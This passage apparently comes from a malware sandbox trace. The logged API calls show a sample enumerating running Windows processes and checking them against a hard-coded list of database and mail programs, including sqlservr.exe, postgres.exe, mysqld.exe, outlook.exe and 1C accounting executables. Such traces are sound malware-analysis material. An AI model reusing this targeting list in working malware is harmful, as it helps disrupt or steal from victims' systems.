lpString2="csrss.exe") returned 1 [0088.585] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0088.586] lstrlenW (lpString="wininit.exe") returned 11 [0088.586] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0088.586] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0088.586] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0088.587] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0088.587] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0088.587] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0088.587] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0088.587] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.587] lstrlenW (lpString="csrss.exe") returned 9 [0088.587] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0088.588] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0088.588] lstrlenW (lpString="winlogon.exe") returned 12 [0088.589] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0088.589] lstrlenW (lpString="services.exe") returned 12 [0088.589] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0088.590] lstrlenW (lpString="lsass.exe") returned 9 [0088.590] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0088.591] lstrlenW (lpString="lsm.exe") returned 7 [0088.591] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.592] lstrlenW (lpString="svchost.exe") returned 11 [0088.592] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.592] lstrlenW (lpString="svchost.exe") returned 11 [0088.593] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.593] lstrlenW (lpString="svchost.exe") returned 11 [0088.593] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.892] lstrlenW (lpString="svchost.exe") returned 11 [0088.892] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.893] lstrlenW (lpString="svchost.exe") returned 11 [0088.893] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0088.894] lstrlenW (lpString="audiodg.exe") returned 11 [0088.894] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.895] lstrlenW (lpString="svchost.exe") returned 11 [0088.895] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.895] lstrlenW (lpString="svchost.exe") returned 11 [0088.896] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0088.897] lstrlenW (lpString="dwm.exe") returned 7 [0088.897] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0088.898] lstrlenW (lpString="explorer.exe") returned 12 [0088.898] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0088.899] lstrlenW (lpString="spoolsv.exe") returned 11 [0088.899] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.900] lstrlenW (lpString="svchost.exe") returned 11 [0088.900] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0088.901] lstrlenW (lpString="taskhost.exe") returned 12 [0088.901] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0088.902] lstrlenW (lpString="taskeng.exe") returned 11 [0088.902] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0088.903] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0088.903] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0088.904] lstrlenW (lpString="while damaged.exe") returned 17 [0088.904] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0088.904] lstrlenW (lpString="hosted_thee.exe") returned 15 [0088.905] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0088.905] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0088.906] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0088.906] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0088.907] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0088.907] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0088.908] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0088.908] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0088.909] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0088.909] lstrlenW (lpString="l_greene_go.exe") returned 15 [0088.910] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0088.910] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0088.911] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0088.912] lstrlenW (lpString="spots wm.exe") returned 12 [0088.912] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0088.913] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0088.913] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0088.914] lstrlenW (lpString="lp imagination.exe") returned 18 [0088.914] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0088.915] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0088.915] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0088.916] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0088.916] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0088.917] lstrlenW (lpString="voluntary teach.exe") returned 19 [0088.917] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0088.918] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0088.918] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0088.919] lstrlenW (lpString="jesse.exe") returned 9 [0088.919] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="partners_format.exe")) returned 1 [0088.920] lstrlenW (lpString="partners_format.exe") returned 19 [0088.920] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="predict.exe")) returned 1 [0088.921] lstrlenW (lpString="predict.exe") returned 11 [0088.921] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="supervisor.exe")) returned 1 [0088.921] lstrlenW (lpString="supervisor.exe") returned 14 [0088.921] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0088.922] lstrlenW (lpString="3dftp.exe") returned 9 [0088.922] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0088.923] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0088.923] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0088.924] lstrlenW (lpString="alftp.exe") returned 9 [0088.924] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0089.333] lstrlenW (lpString="barca.exe") returned 9 [0089.333] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0089.569] lstrlenW (lpString="bitkinex.exe") returned 12 [0089.570] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0089.570] lstrlenW (lpString="coreftp.exe") returned 11 [0089.570] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0089.571] lstrlenW (lpString="far.exe") returned 7 [0089.571] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0089.572] lstrlenW (lpString="filezilla.exe") returned 13 [0089.572] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0089.573] lstrlenW (lpString="flashfxp.exe") returned 12 [0089.573] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0089.573] lstrlenW (lpString="fling.exe") returned 9 [0089.574] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0089.574] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0089.574] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0089.575] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0089.575] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0089.575] lstrlenW (lpString="icq.exe") returned 7 [0089.575] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0089.576] lstrlenW (lpString="leechftp.exe") returned 12 [0089.576] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0089.577] lstrlenW (lpString="ncftp.exe") returned 9 [0089.577] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0089.578] lstrlenW (lpString="notepad.exe") returned 11 [0089.578] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0089.579] lstrlenW (lpString="operamail.exe") returned 13 [0089.580] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0089.581] lstrlenW (lpString="pidgin.exe") returned 10 [0089.581] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0089.582] lstrlenW (lpString="scriptftp.exe") returned 13 [0089.582] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0089.583] lstrlenW (lpString="skype.exe") returned 9 [0089.583] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0089.584] lstrlenW (lpString="smartftp.exe") returned 12 [0089.584] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0089.585] lstrlenW (lpString="thunderbird.exe") returned 15 [0089.585] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0089.586] lstrlenW (lpString="totalcmd.exe") returned 12 [0089.586] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0089.588] lstrlenW (lpString="trillian.exe") returned 12 [0089.588] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0089.589] lstrlenW (lpString="webdrive.exe") returned 12 [0089.589] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0089.590] lstrlenW (lpString="whatsapp.exe") returned 12 [0089.590] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0089.591] lstrlenW (lpString="winscp.exe") returned 10 [0089.591] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0089.592] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0089.592] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) 